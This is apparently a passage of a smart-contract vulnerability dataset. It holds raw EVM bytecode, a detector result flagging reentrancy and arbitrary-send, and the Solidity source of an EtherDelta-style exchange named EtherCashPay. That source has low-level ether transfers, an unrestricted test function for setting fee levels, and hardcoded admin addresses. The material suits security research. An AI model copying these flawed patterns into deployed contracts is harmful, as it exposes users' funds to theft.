989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207d4b8c4d9a4b85418b662ef2e6b950e3c4a59350e8fbcb0545ab3cb77d9e271764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,735 |
0x592e8c43a873633a41009151fdbaa32f7a21e58e
|
pragma solidity ^0.4.9;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
//if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ReserveToken is StandardToken, SafeMath {
address public minter;
function ReserveToken() {
minter = msg.sender;
}
function create(address account, uint amount) {
if (msg.sender != minter) throw;
balances[account] = safeAdd(balances[account], amount);
totalSupply = safeAdd(totalSupply, amount);
}
function destroy(address account, uint amount) {
if (msg.sender != minter) throw;
if (balances[account] < amount) throw;
balances[account] = safeSub(balances[account], amount);
totalSupply = safeSub(totalSupply, amount);
}
}
contract AccountLevels {
//given a user, returns an account level
//0 = regular user (pays take fee and make fee)
//1 = market maker silver (pays take fee, no make fee, gets rebate)
//2 = market maker gold (pays take fee, no make fee, gets entire counterparty's take fee as rebate)
function accountLevel(address user) constant returns(uint) {}
}
contract AccountLevelsTest is AccountLevels {
mapping (address => uint) public accountLevels;
function setAccountLevel(address user, uint level) {
accountLevels[user] = level;
}
function accountLevel(address user) constant returns(uint) {
return accountLevels[user];
}
}
contract EtherCashPay is SafeMath {
address public admin; //the admin address
address public feeAccount; //the account that will receive fees
address public accountLevelsAddr; //the address of the AccountLevels contract
uint public feeMake; //percentage times (1 ether)
uint public feeTake; //percentage times (1 ether)
uint public feeRebate; //percentage times (1 ether)
mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether)
mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature)
mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled)
event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
function EtherCashPay (address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) {
admin = 0x756dD5bA2b8e20210ddEb345C59D69C3a011a4EC;
feeAccount = 0x012662Cac702241e37BC1a2C81Ca7C4ee59aDad8;
accountLevelsAddr = 0x0000000000000000000000000000000000000000;
feeMake = 0;
feeTake = 3000000000000000;
feeRebate = 0;
}
function() {
throw;
}
function changeAdmin(address admin_) {
if (msg.sender != admin) throw;
admin = admin_;
}
function changeAccountLevelsAddr(address accountLevelsAddr_) {
if (msg.sender != admin) throw;
accountLevelsAddr = accountLevelsAddr_;
}
function changeFeeAccount(address feeAccount_) {
if (msg.sender != admin) throw;
feeAccount = feeAccount_;
}
function changeFeeMake(uint feeMake_) {
if (msg.sender != admin) throw;
if (feeMake_ > feeMake) throw;
feeMake = feeMake_;
}
function changeFeeTake(uint feeTake_) {
if (msg.sender != admin) throw;
if (feeTake_ > feeTake || feeTake_ < feeRebate) throw;
feeTake = feeTake_;
}
function changeFeeRebate(uint feeRebate_) {
if (msg.sender != admin) throw;
if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw;
feeRebate = feeRebate_;
}
function deposit() payable {
tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint amount) {
if (tokens[0][msg.sender] < amount) throw;
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
if (!msg.sender.call.value(amount)()) throw;
Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function depositToken(address token, uint amount) {
//remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.
if (token==0) throw;
if (!Token(token).transferFrom(msg.sender, this, amount)) throw;
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
}
function withdrawToken(address token, uint amount) {
if (token==0) throw;
if (tokens[token][msg.sender] < amount) throw;
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
if (!Token(token).transfer(msg.sender, amount)) throw;
Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) constant returns (uint) {
return tokens[token][user];
}
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
orders[msg.sender][hash] = true;
Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
}
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) {
//amount is in amountGet terms
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires &&
safeAdd(orderFills[user][hash], amount) <= amountGet
)) throw;
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
}
function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether);
uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether);
uint feeRebateXfer = 0;
if (accountLevelsAddr != 0x0) {
uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user);
if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether);
if (accountLevel==2) feeRebateXfer = feeTakeXfer;
}
tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer));
tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer));
tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer));
tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet);
tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet);
}
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) {
if (!(
tokens[tokenGet][sender] >= amount &&
availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
)) return false;
return true;
}
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires
)) return 0;
uint available1 = safeSub(amountGet, orderFills[user][hash]);
uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive;
if (available1<available2) return available1;
return available2;
}
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
return orderFills[user][hash];
}
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw;
orderFills[msg.sender][hash] = amountGet;
Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
}
|
0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a19b14a146101665780630b9276661461024457806319774d43146102cf578063278b8c0e146103345780632e1a7d4d146103e8578063338b5dea1461041557806346be96c314610462578063508493bc1461054a57806354d03b5c146105c157806357786394146105ee5780635e1d7ae41461061957806365e17c9d146106465780636c86888b1461069d57806371ffcb16146107b3578063731c2f81146107f65780638823a9c0146108215780638f2839701461084e5780639e281a9814610891578063bb5f4629146108de578063c281309e14610947578063d0e30db014610972578063e8f6bc2e1461097c578063f3412942146109bf578063f7888aec14610a16578063f851a44014610a8d578063fb6e155f14610ae4575b34801561016057600080fd5b50600080fd5b34801561017257600080fd5b50610242600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff1690602001909291908035600019169060200190929190803560001916906020019092919080359060200190929190505050610bcc565b005b34801561025057600080fd5b506102cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803590602001909291905050506110e1565b005b3480156102db57600080fd5b5061031e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050611380565b6040518082815260200191505060405180910390f35b34801561034057600080fd5b506103e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803560ff169060200190929190803560001916906020019092919080356000191690602001909291905050506113a5565b005b3480156103f457600080fd5b50610413600480360381019080803590602001909291905050506117cd565b005b34801561042157600080fd5b50610460600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a4c565b005b34801561046e57600080fd5b50610534600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050611dba565b6040518082815260200191505060405180910390f35b34801561055657600080fd5b506105ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f5f565b6040518082815260200191505060405180910390f35b3480156105cd57600080fd5b506105ec60048036038101908080359060200190929190505050611f84565b005b3480156105fa57600080fd5b50610603611ff8565b6040518082815260200191505060405180910390f35b34801561062557600080fd5b5061064460048036038101908080359060200190929190505050611ffe565b005b34801561065257600080fd5b5061065b61207e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106a957600080fd5b50610799600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff1690602001909291908035600019169060200190929190803560001916906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120a4565b604051808215151515815260200191505060405180910390f35b3480156107bf57600080fd5b506107f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612167565b005b34801561080257600080fd5b5061080b612206565b6040518082815260200191505060405180910390f35b34801561082d57600080fd5b5061084c6004803603810190808035906020019092919050505061220c565b005b34801561085a57600080fd5b5061088f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061228c565b005b34801561089d57600080fd5b506108dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061232a565b005b3480156108ea57600080fd5b5061092d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080356000191690602001909291905050506126ed565b604051808215151515815260200191505060405180910390f35b34801561095357600080fd5b5061095c61271c565b6040518082815260200191505060405180910390f35b61097a612722565b005b34801561098857600080fd5b506109bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128f6565b005b3480156109cb57600080fd5b506109d4612995565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a2257600080fd5b50610a77600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506129bb565b6040518082815260200191505060405180910390f35b348015610a9957600080fd5b50610aa2612a42565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610af057600080fd5b50610bb6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050612a67565b6040518082815260200191505060405180910390f35b60006002308d8d8d8d8d8d604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af1158015610cde573d6000803e3d6000fd5b5050506040513d6020811015610cf357600080fd5b81019080805190602001909291905050509050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000826000191660001916815260200190815260200160002060009054906101000a900460ff1680610e6757508573ffffffffffffffffffffffffffffffffffffffff1660018260405180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040518091039020878787604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015610e45573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16145b8015610e735750874311155b8015610ee057508a610edd600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084600019166000191681526020019081526020016000205484612e3d565b11155b1515610eeb57600080fd5b610ef98c8c8c8c8a87612e67565b610f5b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083600019166000191681526020019081526020016000205483612e3d565b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008360001916600019168152602001908152602001600020819055507f6effdda786735d5033bfad5f53e5131abcced9e52be6c507b62d639685fbed6d8c838c8e868e02811515610fe857fe5b048a33604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001965050505050505060405180910390a1505050505050505050505050565b6000600230888888888888604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af11580156111f3573d6000803e3d6000fd5b5050506040513d602081101561120857600080fd5b810190808051906020019092919050505090506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000191660001916815260200190815260200160002060006101000a81548160ff0219169083151502179055507f3f7f2eda73683c21a15f9435af1028c93185b5f1fa38270762dc32be606b3e8587878787878733604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200197505050505050505060405180910390a150505050505050565b6008602052816000526040600020602052806000526040600020600091509150505481565b60006002308b8b8b8b8b8b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af11580156114b7573d6000803e3d6000fd5b5050506040513d60208110156114cc57600080fd5b81019080805190602001909291905050509050600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000826000191660001916815260200190815260200160002060009054906101000a900460ff168061164057503373ffffffffffffffffffffffffffffffffffffffff1660018260405180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040518091039020868686604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af115801561161e573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16145b151561164b57600080fd5b88600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008360001916600019168152602001908152602001600020819055507f1e0b760c386003e9cb9bcf4fcf3997886042859d9b6ed6320e804597fcdb28b08a8a8a8a8a8a338b8b8b604051808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018a81526020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffff